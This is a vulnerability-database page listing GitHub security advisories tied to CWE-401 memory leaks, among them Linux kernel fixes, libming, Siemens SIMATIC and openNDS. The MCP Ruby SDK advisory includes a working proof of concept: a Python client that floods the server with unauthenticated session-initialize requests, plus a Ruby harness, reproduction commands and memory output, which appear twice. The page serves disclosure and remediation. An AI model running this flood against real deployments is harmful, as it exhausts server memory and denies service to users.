Common Weakness Enumeration
CWE-401
AllowedMissing Release of Memory after Effective Lifetime
Abstraction: Variant · Status: Draft
The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.
2099 vulnerabilities reference this CWE, most recent first.
GHSA-529P-W982-9F3H
Vulnerability from github – Published: 2025-10-07 18:31 – Updated: 2026-02-04 18:30
VLAI
Details
In the Linux kernel, the following vulnerability has been resolved:
usb: host: xhci: Fix potential memory leak in xhci_alloc_stream_info()
xhci_alloc_stream_info() allocates stream context array for stream_info ->stream_ctx_array with xhci_alloc_stream_ctx(). When some error occurs, stream_info->stream_ctx_array is not released, which will lead to a memory leak.
We can fix it by releasing the stream_info->stream_ctx_array with xhci_free_stream_ctx() on the error path to avoid the potential memory leak.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2022-50544"
],
"database_specific": {
"cwe_ids": [
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-07T16:15:38Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: host: xhci: Fix potential memory leak in xhci_alloc_stream_info()\n\nxhci_alloc_stream_info() allocates stream context array for stream_info\n-\u003estream_ctx_array with xhci_alloc_stream_ctx(). When some error occurs,\nstream_info-\u003estream_ctx_array is not released, which will lead to a\nmemory leak.\n\nWe can fix it by releasing the stream_info-\u003estream_ctx_array with\nxhci_free_stream_ctx() on the error path to avoid the potential memory\nleak.",
"id": "GHSA-529p-w982-9f3h",
"modified": "2026-02-04T18:30:20Z",
"published": "2025-10-07T18:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50544"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/782c873f8e7686f5b3c47e8b099f7e08c3dd1fdc"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7e271f42a5cc3768cd2622b929ba66859ae21f97"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7fc6bab3413e6a42bb1264ff7c9149808c93a4c7"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/91271a3e772e180bbb8afb114c72fd294a02f93d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9fa81cbd2dd300aa8fe9bac70e068b9a11cbb144"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a40ad475236022f3432880e3091c380e46e71a71"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ddab9fe76296840aad686c66888a9c1dfdbff5ff"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e702de2f5c893bf2cdb0152191f99a6ad1411823"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/fcd594da0b5955119d9707e4e0a8d0fb1c969101"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-52F7-5PRX-XWXQ
Vulnerability from github – Published: 2025-02-20 18:31 – Updated: 2025-02-24 18:32
VLAI
Details
A memory leak has been identified in the parseSWF_FILTERLIST function in util/parser.c of libming v0.4.8, which allows attackers to cause a denial of service via a crafted SWF file.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-26308"
],
"database_specific": {
"cwe_ids": [
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-20T17:15:12Z",
"severity": "MODERATE"
},
"details": "A memory leak has been identified in the parseSWF_FILTERLIST function in util/parser.c of libming v0.4.8, which allows attackers to cause a denial of service via a crafted SWF file.",
"id": "GHSA-52f7-5prx-xwxq",
"modified": "2025-02-24T18:32:41Z",
"published": "2025-02-20T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26308"
},
{
"type": "WEB",
"url": "https://github.com/libming/libming/issues/326"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-52HV-894W-8QF3
Vulnerability from github – Published: 2024-02-29 03:33 – Updated: 2024-03-12 15:32
VLAI
Details
A memory leak issue discovered in parseSWF_GLYPHENTRY in libming v0.4.8 allows attackers to cause a denial of service via a crafted SWF file.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-24149"
],
"database_specific": {
"cwe_ids": [
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-29T01:44:11Z",
"severity": "MODERATE"
},
"details": "A memory leak issue discovered in parseSWF_GLYPHENTRY in libming v0.4.8 allows attackers to cause a denial of service via a crafted SWF file.",
"id": "GHSA-52hv-894w-8qf3",
"modified": "2024-03-12T15:32:15Z",
"published": "2024-02-29T03:33:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24149"
},
{
"type": "WEB",
"url": "https://github.com/libming/libming/issues/310"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-52JP-GJ8W-J6XH
Vulnerability from github – Published: 2026-07-30 14:43 – Updated: 2026-07-30 14:43
VLAI
Summary
MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood
Details
Summary
In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb:
- Line 27, constructor:
def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)— the default forsession_idle_timeoutisnil. - Line 46:
start_reaper_thread if @session_idle_timeout— when the timeout isnil, the reaper that prunes idle sessions is never started. - Lines 604–643 (
handle_initialization): every successfulinitializeinserts a new session record; the only removal sites arehandle_delete(client-controlled) and stream-error paths.
The project README acknowledges the insecure default (line 1605):
By default, sessions do not expire. To mitigate session hijacking risks, you can set a
session_idle_timeout(in seconds).
Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.
Proof of concept
Server (session_poc_server.rb)
Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
Thread.new do
loop do
sessions = transport.instance_variable_get(:@sessions)
count = sessions ? sessions.size : 0
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] sessions=#{count} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9295,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
Client (session_poc_client.py)
import concurrent.futures, json, socket, time
HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32
INIT = json.dumps({
"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {"protocolVersion": "2025-11-25", "capabilities": {},
"clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()
REQ = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT
def one():
try:
s = socket.create_connection((HOST, PORT), timeout=5)
s.sendall(REQ)
data = b""
while True:
c = s.recv(8192)
if not c: break
data += c
s.close()
return b"mcp-session-id" in data.lower()
except OSError:
return False
start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
futs = [ex.submit(one) for _ in range(TOTAL)]
for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
if f.result():
created += 1
if i % 1000 == 0:
print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
f"elapsed {time.time() - start:.1f}s")
print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
f"{time.time() - start:.1f}s")
Reproduction commands
bundle install
ruby session_poc_server.rb # terminal A
python3 session_poc_client.py # terminal B
Observed result
Tested on macOS, Ruby 3.2.4, against the SDK's main branch.
Server terminal:
[mem] sessions=0 RSS=45 MB
[mem] sessions=2605 RSS=56 MB
[mem] sessions=11587 RSS=72 MB
[mem] sessions=23119 RSS=85 MB
[mem] sessions=34391 RSS=119 MB
[mem] sessions=45325 RSS=128 MB
[mem] sessions=50000 RSS=154 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB # plateau persists indefinitely
Client terminal:
[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s
50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.
Impact
- Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
- Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
- Affected deployments: every deployment that does not opt into
session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.
Suggested mitigation
- Change the default of
session_idle_timeoutto a finite value (e.g. 30 minutes) and document the change as a security default. - Add a
max_sessions:constructor option; rejectinitializewith HTTP 503 once the cap is reached. - Track the time of the
initializePOST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.
Severity
5.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67430"
],
"database_specific": {
"cwe_ids": [
"CWE-401",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:43:29Z",
"nvd_published_at": "2026-07-29T20:17:11Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nIn its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`:\n\n- Line 27, constructor: `def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)` \u2014 the default for `session_idle_timeout` is `nil`.\n- Line 46: `start_reaper_thread if @session_idle_timeout` \u2014 when the timeout is `nil`, the reaper that prunes idle sessions is never started.\n- Lines 604\u2013643 (`handle_initialization`): every successful `initialize` inserts a new session record; the only removal sites are `handle_delete` (client-controlled) and stream-error paths.\n\nThe project README acknowledges the insecure default (line 1605):\n\n\u003e By default, sessions do not expire. To mitigate session hijacking risks, you can set a `session_idle_timeout` (in seconds).\n\nPer-session memory cost is non-trivial: each entry contains a `ServerSession` instance (with its own `Mutex`, `@in_flight` hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request `Queue` allocations.\n\n## Proof of concept\n\n### Server (`session_poc_server.rb`)\n\nStarts the transport in its default configuration (no `session_idle_timeout`) and reports the in-memory session count plus process RSS every two seconds.\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"session-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\n\nThread.new do\n loop do\n sessions = transport.instance_variable_get(:@sessions)\n count = sessions ? sessions.size : 0\n rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n STDERR.puts(\"[mem] sessions=#{count} RSS=#{rss_mb} MB\")\n sleep 2\n end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9295/\")\nRackup::Handler::WEBrick.run(\n transport,\n Host: \"127.0.0.1\", Port: 9295,\n AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`session_poc_client.py`)\n\n```python\nimport concurrent.futures, json, socket, time\n\nHOST, PORT = \"127.0.0.1\", 9295\nTOTAL, WORKERS = 50_000, 32\n\nINIT = json.dumps({\n \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n \"params\": {\"protocolVersion\": \"2025-11-25\", \"capabilities\": {},\n \"clientInfo\": {\"name\": \"flooder\", \"version\": \"1.0\"}}\n}).encode()\n\nREQ = (\n f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n f\"Content-Type: application/json\\r\\n\"\n f\"Accept: application/json, text/event-stream\\r\\n\"\n f\"Content-Length: {len(INIT)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode() + INIT\n\ndef one():\n try:\n s = socket.create_connection((HOST, PORT), timeout=5)\n s.sendall(REQ)\n data = b\"\"\n while True:\n c = s.recv(8192)\n if not c: break\n data += c\n s.close()\n return b\"mcp-session-id\" in data.lower()\n except OSError:\n return False\n\nstart = time.time()\ncreated = 0\nwith concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:\n futs = [ex.submit(one) for _ in range(TOTAL)]\n for i, f in enumerate(concurrent.futures.as_completed(futs), 1):\n if f.result():\n created += 1\n if i % 1000 == 0:\n print(f\"[poc] dispatched {i} reqs, {created} sessions confirmed, \"\n f\"elapsed {time.time() - start:.1f}s\")\n\nprint(f\"[poc] done. {created}/{TOTAL} sessions confirmed in \"\n f\"{time.time() - start:.1f}s\")\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby session_poc_server.rb # terminal A\npython3 session_poc_client.py # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4, against the SDK\u0027s `main` branch.\n\nServer terminal:\n\n```\n[mem] sessions=0 RSS=45 MB\n[mem] sessions=2605 RSS=56 MB\n[mem] sessions=11587 RSS=72 MB\n[mem] sessions=23119 RSS=85 MB\n[mem] sessions=34391 RSS=119 MB\n[mem] sessions=45325 RSS=128 MB\n[mem] sessions=50000 RSS=154 MB\n[mem] sessions=50000 RSS=152 MB\n[mem] sessions=50000 RSS=152 MB\n[mem] sessions=50000 RSS=152 MB # plateau persists indefinitely\n```\n\nClient terminal:\n\n```\n[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s\n[poc] done. 50000/50000 sessions confirmed in 26.6s\n```\n\n50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.\n\n\u003cimg width=\"3544\" height=\"1674\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c\" /\u003e\n\n## Impact\n\n- **Attacker requirements:** unauthenticated TCP reach of the MCP endpoint. No session, no credentials.\n- **Effect:** memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.\n- **Affected deployments:** every deployment that does not opt into `session_idle_timeout`. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.\n\n## Suggested mitigation\n\n1. Change the default of `session_idle_timeout` to a finite value (e.g. 30 minutes) and document the change as a security default.\n2. Add a `max_sessions:` constructor option; reject `initialize` with HTTP 503 once the cap is reached.\n3. Track the time of the `initialize` POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.",
"id": "GHSA-52jp-gj8w-j6xh",
"modified": "2026-07-30T14:43:29Z",
"published": "2026-07-30T14:43:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-52jp-gj8w-j6xh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67430"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/afb968c468c178c4d3294b423fcce250621692f4"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/ruby-sdk"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood"
}
GHSA-532G-FPXJ-7PXX
Vulnerability from github – Published: 2023-12-12 12:30 – Updated: 2024-06-11 12:31
VLAI
Details
A vulnerability has been identified in SIMATIC CP 1242-7 V2 (incl. SIPLUS variants) (All versions), SIMATIC CP 1243-1 (incl. SIPLUS variants) (All versions), SIMATIC CP 1243-1 DNP3 (incl. SIPLUS variants) (All versions), SIMATIC CP 1243-1 IEC (incl. SIPLUS variants) (All versions), SIMATIC CP 1243-7 LTE (All versions), SIMATIC CP 1243-8 IRC (All versions), SIMATIC CP 1543-1 (All versions), SINAMICS S210 (6SL5...) (All versions >= V6.1 < V6.1 HF2), SIPLUS NET CP 1543-1 (All versions). The webserver implementation of the affected products does not correctly release allocated memory after it has been used.
An attacker with network access could use this vulnerability to cause a denial-of-service condition in the webserver of the affected product.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2023-38380"
],
"database_specific": {
"cwe_ids": [
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-12T12:15:11Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SIMATIC CP 1242-7 V2 (incl. SIPLUS variants) (All versions), SIMATIC CP 1243-1 (incl. SIPLUS variants) (All versions), SIMATIC CP 1243-1 DNP3 (incl. SIPLUS variants) (All versions), SIMATIC CP 1243-1 IEC (incl. SIPLUS variants) (All versions), SIMATIC CP 1243-7 LTE (All versions), SIMATIC CP 1243-8 IRC (All versions), SIMATIC CP 1543-1 (All versions), SINAMICS S210 (6SL5...) (All versions \u003e= V6.1 \u003c V6.1 HF2), SIPLUS NET CP 1543-1 (All versions). The webserver implementation of the affected products does not correctly release allocated memory after it has been used.\n\nAn attacker with network access could use this vulnerability to cause a denial-of-service condition in the webserver of the affected product.",
"id": "GHSA-532g-fpxj-7pxx",
"modified": "2024-06-11T12:31:00Z",
"published": "2023-12-12T12:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38380"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-139628.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-625862.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-693975.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-693975.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5337-PR68-XWQF
Vulnerability from github – Published: 2025-09-18 15:30 – Updated: 2025-12-12 18:30
VLAI
Details
In the Linux kernel, the following vulnerability has been resolved:
net/mlx5e: fix memory leak in mlx5e_fs_tt_redirect_any_create
The memory pointed to by the fs->any pointer is not freed in the error path of mlx5e_fs_tt_redirect_any_create, which can lead to a memory leak. Fix by freeing the memory in the error path, thereby making the error path identical to mlx5e_fs_tt_redirect_any_destroy().
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-53371"
],
"database_specific": {
"cwe_ids": [
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-18T14:15:39Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: fix memory leak in mlx5e_fs_tt_redirect_any_create\n\nThe memory pointed to by the fs-\u003eany pointer is not freed in the error\npath of mlx5e_fs_tt_redirect_any_create, which can lead to a memory leak.\nFix by freeing the memory in the error path, thereby making the error path\nidentical to mlx5e_fs_tt_redirect_any_destroy().",
"id": "GHSA-5337-pr68-xwqf",
"modified": "2025-12-12T18:30:28Z",
"published": "2025-09-18T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53371"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3250affdc658557a41df9c5fb567723e421f8bf2"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/75df2fe6d160e16be880aacacd521b135d7177c9"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8a75a6f169c3df3a94802314aa61282772ac75b8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-536V-Q9W2-W76R
Vulnerability from github – Published: 2026-07-19 18:31 – Updated: 2026-08-13 15:34
VLAI
Details
In the Linux kernel, the following vulnerability has been resolved:
mm/migrate_device: fix spinlock leak in migrate_vma_insert_huge_pmd_page
When check_stable_address_space() fails after the PMD spinlock has been acquired via pmd_lock(), the code jumps directly to the abort label, bypassing the spin_unlock() call in unlock_abort. This causes the PMD spinlock to be permanently held, leading to a deadlock.
Change the goto target from abort to unlock_abort to ensure the spinlock is always released on this error path.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-64129"
],
"database_specific": {
"cwe_ids": [
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-19T16:17:54Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/migrate_device: fix spinlock leak in migrate_vma_insert_huge_pmd_page\n\nWhen check_stable_address_space() fails after the PMD spinlock has\nbeen acquired via pmd_lock(), the code jumps directly to the abort\nlabel, bypassing the spin_unlock() call in unlock_abort. This causes\nthe PMD spinlock to be permanently held, leading to a deadlock.\n\nChange the goto target from abort to unlock_abort to ensure the\nspinlock is always released on this error path.",
"id": "GHSA-536v-q9w2-w76r",
"modified": "2026-08-13T15:34:13Z",
"published": "2026-07-19T18:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64129"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/63451de16e0a08be40f9ab5e7c5c8f5c79676fb1"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c715f7ccf7a294c058667b678a4ba50fad933c62"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-53CC-XH3P-4X9V
Vulnerability from github – Published: 2026-05-08 15:31 – Updated: 2026-05-15 15:30
VLAI
Details
In the Linux kernel, the following vulnerability has been resolved:
net: macb: Shuffle the tx ring before enabling tx
Quanyang observed that when using an NFS rootfs on an AMD ZynqMp board, the rootfs may take an extended time to recover after a suspend. Upon investigation, it was determined that the issue originates from a problem in the macb driver.
According to the Zynq UltraScale TRM [1], when transmit is disabled, the transmit buffer queue pointer resets to point to the address specified by the transmit buffer queue base address register.
In the current implementation, the code merely resets queue->tx_head
and queue->tx_tail to '0'. This approach presents several issues:
-
Packets already queued in the tx ring are silently lost, leading to memory leaks since the associated skbs cannot be released.
-
Concurrent write access to
queue->tx_headandqueue->tx_tailmay occur frommacb_tx_poll()ormacb_start_xmit()when these values are reset to '0'. -
The transmission may become stuck on a packet that has already been sent out, with its 'TX_USED' bit set, but has not yet been processed. However, due to the manipulation of 'queue->tx_head' and 'queue->tx_tail',
macb_tx_poll()incorrectly assumes there are no packets to handle becausequeue->tx_head == queue->tx_tail. This issue is only resolved when a new packet is placed at this position. This is the root cause of the prolonged recovery time observed for the NFS root filesystem.
To resolve this issue, shuffle the tx ring and tx skb array so that
the first unsent packet is positioned at the start of the tx ring.
Additionally, ensure that updates to queue->tx_head and
queue->tx_tail are properly protected with the appropriate lock.
[1] https://docs.amd.com/v/u/en-US/ug1085-zynq-ultrascale-trm
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-43371"
],
"database_specific": {
"cwe_ids": [
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-08T15:16:48Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: macb: Shuffle the tx ring before enabling tx\n\nQuanyang observed that when using an NFS rootfs on an AMD ZynqMp board,\nthe rootfs may take an extended time to recover after a suspend.\nUpon investigation, it was determined that the issue originates from a\nproblem in the macb driver.\n\nAccording to the Zynq UltraScale TRM [1], when transmit is disabled,\nthe transmit buffer queue pointer resets to point to the address\nspecified by the transmit buffer queue base address register.\n\nIn the current implementation, the code merely resets `queue-\u003etx_head`\nand `queue-\u003etx_tail` to \u00270\u0027. This approach presents several issues:\n\n- Packets already queued in the tx ring are silently lost,\n leading to memory leaks since the associated skbs cannot be released.\n\n- Concurrent write access to `queue-\u003etx_head` and `queue-\u003etx_tail` may\n occur from `macb_tx_poll()` or `macb_start_xmit()` when these values\n are reset to \u00270\u0027.\n\n- The transmission may become stuck on a packet that has already been sent\n out, with its \u0027TX_USED\u0027 bit set, but has not yet been processed. However,\n due to the manipulation of \u0027queue-\u003etx_head\u0027 and \u0027queue-\u003etx_tail\u0027,\n `macb_tx_poll()` incorrectly assumes there are no packets to handle\n because `queue-\u003etx_head == queue-\u003etx_tail`. This issue is only resolved\n when a new packet is placed at this position. This is the root cause of\n the prolonged recovery time observed for the NFS root filesystem.\n\nTo resolve this issue, shuffle the tx ring and tx skb array so that\nthe first unsent packet is positioned at the start of the tx ring.\nAdditionally, ensure that updates to `queue-\u003etx_head` and\n`queue-\u003etx_tail` are properly protected with the appropriate lock.\n\n[1] https://docs.amd.com/v/u/en-US/ug1085-zynq-ultrascale-trm",
"id": "GHSA-53cc-xh3p-4x9v",
"modified": "2026-05-15T15:30:34Z",
"published": "2026-05-08T15:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43371"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0a47c3889fcd843c72aa57fa8c4d06f5801fced4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/403182e0771b250cfde0fe7e1081d095ceaf8230"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/58f5d34f88e8f00910b692537f7b2efdb8c3705d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/881a0263d502e1a93ebc13a78254e9ad19520232"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/88f974fe118cb4653f029929ecbca7cfe06132ae"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c6783bfa31a59f34fe4feb1bdbf67791ef3fb0b7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-53CW-GGRV-83HG
Vulnerability from github – Published: 2026-08-28 03:31 – Updated: 2026-08-28 03:31
VLAI
Details
Multiple memory leaks in openNDS before 11.0.0 allow an unauthenticated attacker on the captive portal network to exhaust all available memory on the device within minutes.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-38819"
],
"database_specific": {
"cwe_ids": [
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-28T02:16:21Z",
"severity": "MODERATE"
},
"details": "Multiple memory leaks in openNDS before 11.0.0 allow an unauthenticated attacker on the captive portal network to exhaust all available memory on the device within minutes.",
"id": "GHSA-53cw-ggrv-83hg",
"modified": "2026-08-28T03:31:23Z",
"published": "2026-08-28T03:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-38819"
},
{
"type": "WEB",
"url": "https://github.com/openNDS/openNDS/commit/b2801d9f14af44a23be7e9a1c378623bc5947c4c"
},
{
"type": "WEB",
"url": "https://github.com/openNDS/openNDS/commit/f2332e68c6d34f8403db346e380fff3817020d5c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-53HJ-G53Q-MPCC
Vulnerability from github – Published: 2025-03-07 21:31 – Updated: 2025-03-07 21:31
VLAI
Details
